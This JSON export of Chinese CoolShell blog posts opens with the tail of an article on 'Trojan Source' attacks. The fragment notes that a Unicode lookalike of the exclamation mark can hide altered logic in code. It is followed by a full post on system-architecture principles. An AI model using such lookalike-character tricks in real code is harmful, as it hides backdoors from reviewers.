checks in DEV\n    return true;\n}</pre>\n<p>如何你以为 <code>ǃ</code> 是 惊叹号，其实不是，它是一个Unicode <code>╟â</code>。这种东西就算你把你的源码转成 DOS(CP437) 也没用，因为用肉眼在一大堆正常的字符中找不正常的，我觉得是基本不可能的事。</p>\n<p>现在，是时候检查一下你的代码有没有上述的这些情况了……</p>\n<p>（全文完）</p>\n<p> </p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2439.html\"><img alt=\"黑客的价值观\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2439.html\">黑客的价值观</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1957.html\"><img alt=\"Web程序的最佳测试数据\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1957.html\">Web程序的最佳测试数据</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1331.html\"><img alt=\"Unicode字符预览表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1331.html\">Unicode字符预览表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10910.html\"><img alt=\"分布式系统的事务处理\" height=\"150\" src=\"../wp-content/uploads/2014/01/trade-off-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21649.html\">源代码特洛伊木马攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2021-12-21 我做系统架构的一些原则.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-21682\" height=\"250\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x.png\" width=\"250\"/>工作 20 多年了，这 20 来年看到了很多公司系统架构，也看到了很多问题，在跟这些公司进行交流和讨论的时候，包括进行实施和方案比较的时候，都有很多各种方案的比较和妥协，因为相关的经历越来越多，所以，逐渐形成了自己的逻辑和方法论。今天，想写下这篇文章，把我的这些个人的经验和想法总结下来，希望能够让更多的人可以参考和借鉴，并能够做出更好的架构来。另外，我的这些思维方式和原则都针对于现有市面上众多不合理的架构和方案，所以，也算是一种“纠正”……（注意，这篇文章所说的这些架构上的原则，一般适用于相对比较复杂的业务，如果只是一些简单和访问量不大的应用，那么你可能会得出相反的结论）</p>\n<h4>原则一：关注于真正的收益而不是技术本身</h4>\n<p>对于软件架构来说，我觉得第一重要的是架构的收益，如果不说收益，只是为了技术而技术，而没有任何意义。对于技术收益来说，我觉得下面这几个收益是非常重要的：</p>\n<ul>\n<li><strong>是否可以降低技术门槛加快整个团队的开发流程</strong>。能够加快整个团队的工程流程，快速发布，是软件工程一直在解决的问题，所以，系统架构需要能够进行并行开发，并行上线和并行运维，而不会让某个团队成为瓶颈点。（注：就算拖累团队的原因是组织构架，也不妨碍我们做出并行的系统架构设计）</li>\n<li><strong>是否可以让整个系统可以运行的更稳定</strong>。要让整个系统可以运行的更为的稳定，提升整个系统的 SLA，就需要对有计划和无计划的停机做相应的解决方案（参看《<a href=\"https://coolshell.cn/articles/17459.html\" rel=\"noopener\" target=\"_blank\" title=\"关于高可用的系统\">关于高可用的架构</a>》）</li>\n<li><strong>是否可以通过简化和自动化降低成本</strong>。最高优化的成本是人力成本，人的成本除了慢和贵，还有经常不断的 human error。如果不能降低人力成本，反而需要更多的人，那么这个架构设计一定是失败的。除此之外，是时间成本，资金成本。</li>\n</ul>\n<p>如果一个系统架构不能在上面三个事上起到作用，那就没有意义了。</p>\n<p><span id=\"more-21672\"></span></p>\n<h4>原则二：以应用服务和 API 为视角，而不是以资源和技术为视角</h4>\n<p>国内很多公司都会有很多分工，基本上都会分成运维和开发，运维又会分成基础运维和应用运维，开发则会分成基础核心开发和业务开发。不同的分工会导致完全不同的视角和出发点。比如，基础运维和开发的同学更多的只是关注资源的利用率和性能，而应用运维和业务开发则更多关注的是应用和服务上的东西。这两者本来相关无事，但是因为分布式架构的演进，导致有一些系统已经说不清楚是基础层的还是应用层的了，比如像服务治理上的东西，里面即有底层基础技术，也需要业务的同学来配合，包括 k8s 也样，里面即有底层的如网络这样的技术，也有需要业务配合的 readniess和 liveness 这样的健康检查，以及业务应用需要 configMap 等等 ……</p>\n<p><strong>这些东西都让我感觉到所谓 DevOps，其实就是因为很多技术和组件已经分不清是 Dev 还是 Ops 的了，所以，需要合并 Dev和 Ops</strong>。而且，整个组织和架构的优化，已经不能通过调优单一分工或是单一组件能够有很大提升的了。其需要有一种自顶向下的，整体规划，统一设计的方式，才能做到整体的提升（可以试想一下城市交通的优化，当城市规模到一定程度的时候，整体的性能你是无法通过优化几条路或是几条街区来完成的，你需要对整个城市做整体的功能体的规划才可能达到整体效率的提升）。而为了做到整体的提升，需要所有的人都要有一个统一的视角和目标，这几年来，我觉得这个目标就是——<strong>要站在服务和 对外API的视角来看问题，而不是技术和底层的角度。</strong></p>\n<h4>原则三：选择最主流和成熟的技术</h4>\n<p>技术选型是一件很重要的事，技术一旦选错，那会导致整个架构需要做调整，而对架构的调整重来都不是一件简单的事，我在过去几年内，当系统越来越复杂的时候，用户把他们的  PHP，Python, .NET，或 Node.js 的架构完全都迁移到 Java + Go 的架构上来的案例不断的发生。这个过程还是非常痛苦的，但是你没有办法，当你的系统越来越复杂，越来越大时，你就再也不能在一些玩具技术上玩了，你需要的更为工业化的技术。</p>\n<ul>\n<li><strong>尽可能的使用更为成熟更为工业化的技术栈，而不是自己熟悉的技术栈</strong>。 所谓工业化的技术栈，你可以看看大多数公司使用的技术栈，比如：互联网，金融，电信……等等 ，大公司会有更多的技术投入，也需要更大规模的生产，所以，他们使用的技术通常来说都是比较工业化的。在技术选型上，千万不要被——“你看某个视频公司也在用这个技术”，或是一些在论坛上看到的一些程序员吐槽技术的观点（没有任何的数据，只有自己的喜好）来决定自己的技术，还是看看主流大多数公司实际在用的技术栈，会更靠谱一些。</li>\n<li><strong>选择全球流行的技术，而不是中国流行的技术</strong>。技术这个东西一定是一个全球化的东西，不是一个局域化的事。所以，一定要选国际化的会更好。另外，千万不要被某些公司的“特别案例”骗过去了，那怕这个案例很性感，关键还是要看解决问题的思路和采用的技术是否具有普世性。只有普世性的技术有更强的生命力。</li>\n<li><strong>尽可能的使用红利大的主流技术，而不要自己发明轮子，更不要魔改</strong>。我见过好些个公司魔改开源软件，比如有个公司同魔改mesos，最后改着改着发现自己发明另一个 kubernetes。我还见过很多公司或技术团队喜欢自己发明自己的专用轮子，最后都会被主流开源软件所取代。完全没有必要。不重新发明轮子，不魔改，不是因为自己技术不能，而是因为，这个世界早已不是自己干所有事的年代了，这个时代是要想尽方法跟整个产业，整个技术社区融合和合作，这样才会有最大的收益。那些试图因为某个特例需要自成一套的玩法，短期没问题，但长期来说，我都不看好。</li>\n<li><strong>绝大多数情况下，如无非常特殊要求，选 Java基本是不会错的</strong>。一方面，这是因为 Java 的业务开发的生产力是非常好的，而且有 Spring 框架保障，代码很难写烂，另外，Java 的社区太成熟了，你需要的各种架构和技术都可以很容易获得，技术红利实在是太大。这种运行在JVM上的语言有太多太多的好处了。在 Java 的技术栈上，你的架构风险和架构的成本（无论是人力成本，时间成本和资金成本）从长期来说都是最优的</li>\n</ul>\n<p>在我见过的公司中，好些公司的架构都被技术负责人个人的喜好、擅长和个人经验给绑架了，完全不是从一个客观的角度来进行技术选型。其实，从 0 到 1 的阶段，你用什么样的技术都行，如果你做一个简单的应用，没有事务处理没有复杂的交易流程，比如一些论坛、社交之类的应用，你用任何语言都行。但是如果有一天你的系统变复杂了，需要处理交易了，量也上来了，从 1 到 10，甚至从 10 到 100，你的开发团队也变大了，需要构建的系统越来越大，你可能会发现你只有一个选择，就是 Java。想想京东从.NET 到 Java，淘宝从 PHP 到 Java……</p>\n<p>注，一些有主观喜好的人一定会对我上述对 Java 的描述感到不适，我还用一些证据说明一下——全中国所有的电商平台，几百家银行，三大电信运营商，所有的保险公司，劵商的系统，医院里的系统，电子政府系统，等等，基本都是用 Java 开发的，包括 AWS 的主流语言也是 Java，阿里云一开始用 C++/Python 写控制系统，后面也开始用 Java ……你可能会说 B站是用 go语言，但是你可能不知道 B 站的电商和大数据是用 Java……懂着数据分析的同学，建议上各大招聘网站上搜一下 Java 的职位数量，你就知道某个技术是否主流和热门……</p>\n<h4>原则四：完备性会比性能更重要</h4>\n<p>我发现好些公司的架构师做架构的时候，首要考虑的是架构的性能是否能够撑得住多大多大的流量，而不是考虑系统的完备性和扩展性。所以，我已经多次见过这样的案例了，一开始直接使用 MongoDB 这样的非关系型数据库，或是把数据直接放在 Redis 里，而直接放弃关系型数据库的数据完备性的模型，而在后来需要在数据上进行关系查询的时候，发现 NoSQL 的数据库在 Join 上都表现的太差，然后就开始各种飞线，为了不做 Join 就开始冗余数据，然而自己又维护不好冗余数据后带来的数据一致性的问题，导致数据上的各种错乱丢失。</p>\n<p>所以，我给如下的一些如下的架构原则：</p>\n<ul>\n<li><strong>使用最科学严谨的技术模型为主，并以不严谨的模型作为补充</strong>。对于上面那个案例来说，就是——永远使用完备支持 ACID 的关系型数据库，然后用 NoSQL 作补充，而不是完全放弃关系型数据库。这里的原则就是所谓的“先紧后松”，一开始紧了，你可以慢慢松，但是开始松了，以后你想紧再也紧不过来了。</li>\n<li><strong>性能上的东西，总是有很多解的</strong>。我这么多年的经历告诉我，性能上的事，总是有解的，手段也是最多的，这个比起架构的完备性和扩展性来说真的不必太过担心。</li>\n</ul>\n<p>为了追求所谓的性能，把整个系统的完备性丢失掉，相当地得不偿失。</p>\n<h4>原则五：制定并遵循服从标准、规范和最佳实践</h4>\n<p>这个原则是非常重要的，因为只有服从了标准，你的架构才能够有更好的扩展性。比如：我经常性的见到很多公司的系统既没有服从业界标准，也没有形成自己公司的标准，感觉就像一群乌合之众一样。最典型的例子就是 HTTP 调用的状态返回码。业内给你的标准是 200表示成功，3xx 跳转，4xx 表示调用端出错，5xx 表示服务端出错，我实在是不明白为什么无论成功和失败大家都喜欢返回 200，然后在 body 里指出是否error（前两年我在微信公众号里看到一个有一定名气的互联网老兵推荐使用无论正确还是出错都返回 200 的做法，我在后台再三确认后，我发现这样的架构师真是害人不浅）。这样做最大的问题是——监控系统将在一种低效的状态下工作。监控系统需要把所有的网络请求包打开后才知道是否是错误，而且完全不知道是调用端出错还是服务端出错，于是一些像重试或熔断这样的控制系统完全不知道怎么搞（如果是 4xx错，那么重试或熔断是没有意义的，只有 5xx 才有意义）。<strong>有时候，我会有种越活越退步的感觉，错误码设计这种最基本最基础的东西为什么会没有？并且一个公司会任由着大家乱来？这些基础技能怎么就这样丢掉了？</strong></p>\n<p>还有，我还见过一些公司，他们整个组织没有一个统一的用户 ID 的设计，各个系统之间同步用户的数据是通过用户的身份证 ID，是的，就是现实世界的身份证 ID，包括在网关上设置的用户白名单居然也是用身份证 ID。我对这个公司的内的用户隐私管理有很大的担忧。一个企业，一个组织，如果没有标准和规范，也就会有抽象，这一定是要出各种乱子的。</p>\n<p>下面，我罗列一些你需要注意的标准和规范（包括但不限于）：</p>\n<ul>\n<li><strong>服务间调用的协议标准和规范</strong>。这其中包括 Restful API路径, HTTP 方法、状态码、标准头、自定义头等，返回数据 JSon Scheme……等。</li>\n<li><strong>一些命名的标准和规范</strong>。这其中包括如：用户 ID，服务名、标签名、状态名、错误码、消息、数据库……等等</li>\n<li><strong>日志和监控的规范</strong>。这其中包括：日志格式，监控数据，采样要求，报警……等等</li>\n<li><strong>配置上的规范</strong>。这其中包括：操作系统配置、中间件配置，软件包……等等</li>\n<li><strong>中间件使用的规范</strong>。数据库，缓存、消息队列……等等</li>\n<li><strong>软件和开发库版本统一</strong>。整个组织架构内，软件或开发库的版本最好每年都升一次级，然后在各团队内统一。</li>\n</ul>\n<p>这里重要说一下两个事：</p>\n<ul>\n<li><strong>Restful API 的规范</strong>。我觉得是非常重要的，这里给两个我觉得写得最好的参考：<a href=\"https://github.com/paypal/api-standards/blob/master/api-style-guide.md\" rel=\"noopener\" target=\"_blank\">Paypal</a> 和 <a href=\"https://github.com/microsoft/api-guidelines\" rel=\"noopener\" target=\"_blank\">Microsoft</a> 。Restful API 有一个标准和规范最大的好处就是监视可以很容易地做各种统计分析，控制系统可以很容易的做流量编排和调度。</li>\n<li><strong>另一个是服务调用链追踪</strong>。对于服务调用链追踪来说，基本上都是参考于 <a href=\"https://research.google/pubs/pub36356/\" rel=\"noopener\" target=\"_blank\">Google Dapper</a> 这篇论文，目前有很多的实现，最严格的实现是 <a href=\"https://zipkin.io/\" rel=\"noopener\" target=\"_blank\">Zipkin</a>，这也是 Spring Cloud Sleuth 的底层实现。Zipkin 贴近 Google Dapper 论文的好处在于——无状态，快速地把 Span 发出来，不消耗服务应用侧的内存和 CPU。这意味着，监控系统宁可自己死了也不能干扰实际应用。</li>\n<li><strong>软件升级</strong>。我发现很多公司包括 BAT，他们完全没有软件升级的活动，全靠开发人员自发。然而，这种成体系的活动，是永远不可能靠大众的自发形成的。一个公司至少一年要有一次软件版本升级的review，然后形成软件版本的统一和一致，这样会极太简化系统架构的复杂度。</li>\n</ul>\n<h4>原则六：重视架构扩展性和可运维性</h4>\n<p>在我见过很多架构里，技术人员只考虑当下，但从来不考虑系统的未来扩展性和可运维性。所谓的管生不管养。如果你生下来的孩子胳膊少腿，严重畸形，那么未来是很难玩的。因为架构和软件不是写好就完的，是需要不断修改不断维护的，80%的软件成本都是在维护上。所以，如何让你的架构有更好的扩展性，可以更容易地运维，这个是比较重要的。所谓的扩展性，意味着，我可以很容易地加更多的功能，或是加入更多的系统，而所谓可运维，就是说我可以对线上的系统做任意的变更。扩展性要求的是有标准规范且不耦合的业务架构，可运维性要求的则是可控的能力，也就是一组各式各样的控制系统。</p>\n<ul>\n<li><strong>通过服务编排架构来降低服务间的耦合</strong>。比如：通过一个业务流程的专用服务，或是像 Workflow，Event Driven Architecture ， Broker，Gateway，Service Discovery 等这类的的中间件来降低服务间的依赖关系。</li>\n<li><strong>通过服务发现或服务网关来降低服务依赖所带来的运维复杂度</strong>。服务发现可以很好的降低相关依赖服务的运维复杂度，让你可以很轻松的上线或下线服务，或是进行服务伸缩。</li>\n<li><strong>一定要使用各种软件设计的原则</strong>。比如：像SOLID这样的原则（参看《<a href=\"https://coolshell.cn/articles/4535.html\" title=\"一些软件设计的原则\">一些软件设计的原则</a>》），IoC/DIP，SOA 或 Spring Cloud 等 架构的最佳实践（参看《<a href=\"https://coolshell.cn/articles/5701.html\" rel=\"noopener\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的吐槽 - 67,710 人阅读\">SteveY对Amazon和Google平台的吐槽</a>》中的 Service Interface 的那几条军规），分布式系统架构的相关实践（参看：《<a href=\"https://coolshell.cn/articles/10910.html\" rel=\"noopener\" target=\"_blank\" title=\"分布式系统的事务处理\">分布式系统的事务处理</a>》，或微软件的 《<a href=\"https://docs.microsoft.com/en-us/azure/architecture/patterns/\" rel=\"noopener\" target=\"_blank\">Cloud Design Patterns</a>》）……等等</li>\n</ul>\n<h4>原则七：对控制逻辑进行全面收口</h4>\n<p>所有的程序都会有两种逻辑，一种是业务逻辑，一种是控制逻辑，业务逻辑就是完成业务的逻辑，控制逻辑是辅助，比如你用多线程，还是用分布式，是用数据库还是用文件，如何配置、部署，运维、监控，事务控制，服务发现，弹性伸缩，灰度发布，高并发，等等，等等 ……这些都是控制逻辑，跟业务逻辑没有一毛钱关系。控制逻辑的技术深度会通常会比业务逻辑要深一些，门槛也会要高一些，所以，最好要专业的程序员来负责控制逻辑的开发，统一规划统一管理，进行收口。这其中包括：</p>\n<ul>\n<li><strong>流量收口</strong>。包括南北向和东西向的流量的调度，主要通过流量网关，开发框架 SDK或 Service Mesh 这样的技术。</li>\n<li><strong>服务治理收口</strong>。包括：服务发现、健康检查，配置管理、事务、事件、重试、熔断、限流……主要通过开发框架 SDK – 如：Spring Cloud，或服务网格Service Mesh等技术。</li>\n<li><strong>监控数据收口</strong>。包括：日志、指标、调用链……主要通过一些标准主流的探针，再加上后台的数据清洗和数据存储来完成，最好是使用无侵入式的技术。监控的数据必须统一在一个地方进行关联，这样才会产生信息。</li>\n<li><strong>资源调度有应用部署的收口</strong>。包括：计算、网络和存储的收口，主要是通过容器化的方案，如k8s来完成。</li>\n<li><strong>中间件的收口</strong>。包括：数据库，消息，缓存，服务发现，网关……等等。这类的收口方式一般要在企业内部统一建立一个共享的云化的中间件资源池。</li>\n</ul>\n<p>对此，这里的原则是：</p>\n<ul>\n<li><strong>你要选择容易进行业务逻辑和控制逻辑分离的技术</strong>。这里，Java 的 JVM+字节码注入+AOP 式的Spring 开发框架，会带给你太多的优势。</li>\n<li><strong>你要选择可以享受“前人种树，后人乘凉”的有技术红利的技术</strong>。如：有庞大社区而且相互兼容的技术，如：Java, Docker,  Ansible，HTTP，Telegraf/Collectd……</li>\n<li><strong>中间件你要使用可以 支持HA集群和多租户的技术</strong>。这里基本上所有的主流中间件都会支持 HA 集群方式的。</li>\n</ul>\n<h4>原则八：不要迁就老旧系统的技术债务</h4>\n<p>我发现很多公司都很非常大的技术债务，这些债务具体表现如下：</p>\n<ul>\n<li><strong>使用老旧的技术</strong>。比如，使用HTTP1.0， Java 1.6，Websphere，ESB，基于 socket的通讯协议，过时的模型……等等</li>\n<li><strong>不合理的设计</strong>。比如，在 gateway 中写大量的业务逻辑，单体架构，数据和业务逻辑深度耦合，错误的系统架构（把缓存当数据库，用消息队列同步数据）……等等</li>\n<li> <strong>缺少配套设施</strong>。比如，没有自动化测试，没有好的软件文档，没有质量好的代码，没有标准和规范……等等</li>\n</ul>\n<p>来找我寻求技术帮助的人都有各种各样的问题。我都会对他们苦口婆心地说同样的一句话——“<strong>如果你是来找我 case-by-case 解决问题，我兴趣不大，因为，你们千万不要寄希望能够很简单的把一辆夏利车改成一辆法拉利跑车，或是把一栋地基没打好的歪楼搞正。以前欠下的技术债，都得要还，没打好的地基要重新打，没建配套设施都要建。这些基础设施如果不按照正确科学的方式建立的话，你是不可能有一个好的的系统，我也没办法帮你 case-by-case 的解决问题……</strong>”，一开始，他们都会对我说，没问题，我们就是要还债，但是，最后发现要还的债真多，有点承受不了，就开始现原形了。</p>\n<p>他们开始为自己的“欠的技术债”找各种合理化的理由——给你解释各种各样的历史原因和不得以而为之的理由。谈着谈着，让我有一种感觉——他们希望得到一种什么都不改什么都不付出的方式就可以进步的心态，他们宁可让新的技术 low 下来迁就于这些技术债，把新的技术滥用地乱七八糟的。有一个公司，他们的系统架构和技术选型基本都搞错了，使用错误的模型构建系统，导致整个系统的性能非常之差，也才几千万条数据，但他们想的不是还债，不是把地基和配套设施建好，而且要把楼修的更高，上更多的系统——他们觉得现有的系统挺好，性能问题的原因是他们没一个大数据平台，所以要建大数据平台……</p>\n<p>我见过很多很多公司，包括大如 BAT 这样的公司，都会在原来的技术债上进行更多的建设，然后，技术债越来越大，利息越来越大，最终成为一个高利贷，再也还不了（我在《<a href=\"https://coolshell.cn/articles/11656.html\" rel=\"noopener\" target=\"_blank\">开发团队的效率</a>》一文中讲过一个 WatchDog 的架构模式，一个系统烂了，不是去改这个系统，而是在旁边建一个系统来看着它，我很难理解为什么会有这样的逻辑，也许是为了要解决更多的就业……）</p>\n<p>这里有几个原则和方法我是非常坚持的，分享给大家：</p>\n<ul>\n<li><strong>与其花大力气迁就技术债务，不如直接还技术债。是所谓的长痛不如短痛。</strong></li>\n<li><strong>建设没有技术债的“新城区”，并通过“<a href=\"https://docs.microsoft.com/en-us/azure/architecture/patterns/anti-corruption-layer\" rel=\"noopener\" target=\"_blank\">防腐层</a> ”的架构模型，不要让技术债侵入“新城区”</strong>。</li>\n</ul>\n<h4>原则九：不要依赖自己的经验，要依赖于数据和学习</h4>\n<p>有好些人来找我跟我说他们的技术问题，然后希望我能够给他们一个答案。我说，我需要了解一下你现有系统的情况，也就是需要先做个诊断，我只有得到这些数据后，我才可能明白真正的原因是什么 ，我才可能给你做出一个比较好的技术方案。我个人觉得这是一种对对方负责的方法，因为技术手段太多了，所有的技术手段都有适应的场景，并且有各种 trade-off，所以，只有调研完后才能做出决定。这跟医生看病是一样的，确诊病因不能靠经验，还是要靠诊断数据。在科学面前，所有的经验都是靠不住的……</p>\n<p>另外，如果有一天你在做技术决定的时候，开始凭自己以往的经验，那么你就已经不可能再成长了。人都是不可能通过不断重复过去而进步的，人的进步从来都是通过学习自己不知道的东西。所以，千万不要依赖于自己的经验做决定。做任何决定之前，最好花上一点时间，上网查一下相关的资料，技术博客，文章，论文等 ，同时，也看看各个公司，或是各个开源软件他们是怎么做的？然后，比较多种方案的 Pros/Cons，最终形成自己的决定，这样，才可能做出一个更好的决定。</p>\n<h4>原则十：千万要小心 X – Y 问题，要追问原始需求</h4>\n<p>对于 <a href=\"https://coolshell.cn/articles/10804.html\" title=\"X-Y Problem\">X-Y 问题</a>，也就是说，用户为了解决 X问题，他觉得用 Y 可以解，于是问我 Y 怎么搞，结果搞到最后，发现原来要解决的 X 问题，这个时候最好的解决方案不是 Y，而是 Z。 这种 X-Y 问题真是相当之多，见的太多太多了。所以，每次用户来找我的时候，我都要不断地追问什么是 X 问题。</p>\n<p>比如，好些用户都会来问我他们要一个大数据流式处理，结果追问具体要解决什么样的问题时，才发现他们的问题是因为服务中有大量的状态，需要把相同用户的数据请求放在同一个服务上处理，而且设计上导致一个慢函数拖慢整个应用服务。最终就是做一下性能调优就好了，根本没有必要上什么大数据的流式处理。</p>\n<p>我很喜欢追问为什么 ，这种追问，会让客户也跟着来一起重新思考。比如，有个客户来找我评估的一个技术架构的决定，从理论上来说，好像这个架构在用户的这个场景下非常不错。但是，这个场景和这个架构是我职业生涯从来没有见过的。于是，我开始追问这个为什么会是这么一个场景？当我追问的时候，我发现用户都感到这个场景的各种不合理。最后引起了大家非常深刻的研讨，最终用户把那个场景修正后，而架构就突然就变成了一个常见且成熟的的模型……</p>\n<h4>原则十一：激进胜于保守，创新与实用并不冲突</h4>\n<p>我对技术的态度是比较激进的，但是，所谓的激进并不是瞎搞，也不是见新技术就上，而是积极拥抱会改变未来的新技术，如：Docker/Go，我就非常快地跟进，但是像区块链或是 Rust 这样的，我就不是很积极。因为，其并没有命中我认为的技术趋势的几个特征（参看《<a href=\"https://coolshell.cn/articles/18190.html\" rel=\"noopener\" target=\"_blank\" title=\"Go语言、Docker 和新技术\">Go,Docker 和新技术</a> 》）。当然，我也不是不喜欢的就不学了，我对区块链和 Rust 我一样学习，我也知道这些技术的优势，但我不会大规模使用它们。另外，我也尊重保守的决定，这里面没有对和错。但是，我个人觉得对技术激进的态度比起保守来说有太多的好处了。一方面来说，对于用户来说，很大程度上来说，新技术通常都表面有很好的竞争力，而且我见太多这样成功的公司都在积极拥抱新的技术的，而保守的通常来说都越来越不好。</p>\n<p>有一些人会跟我说，我们是实用主义，我们不需要创新，能解决当下的问题就好，所以，我们不需要新技术，现有的技术用好就行了。这类的公司，他们的技术设计第一天就在负债，虽然可以解决当下问题，但是马上就会出现新的问题，然后他们会疲于解决各种问题。最后呢，最后还是会走到新的技术上。</p>\n<p>这里的逻辑很简单 —— <strong>进步永远来自于探索，探索是要付出代价的，但是收益更大</strong>。对我而言，不敢冒险才是最大的冒险，不敢犯错才是最大的错误，害怕失去会让你失去的更多……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5686.html\"><img alt=\"多些时间能少写些代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2021-7-13 如何做一个有质量的技术分享.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium\" height=\"169\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169.jpeg\" width=\"300\"/>分享信息并不难，大多数人都能做到，就算是不善言谈性格内向的技术人员，通过博客或社交媒体，或是不正式的交流，他们都能或多或少的做到。但是如果你想要做一个有质量有高度的分享，这个就难了，所谓的有质量和有高度，我心里面的定义有两点：1）分享内容的保鲜期是很长的，2）会被大范围的传递。我们团队内每周都在做技术分享，虽然分享的主题都很有价值，但是分享的质量参差不齐，所以，想写下这篇文章 。供大家参考。</p>\n<p>首先，我们先扪心自问一下，我们自己觉得读到的好的技术文章是什么？我不知道大家的是什么，我个人认为的好的文章是下面这样的：</p>\n<ul>\n<li><strong>把复杂的问题讲解的很简单也很清楚</strong>。比如我高中时期读到这本1978年出版的《<a href=\"https://book.douban.com/subject/1441922/\" rel=\"noopener\" 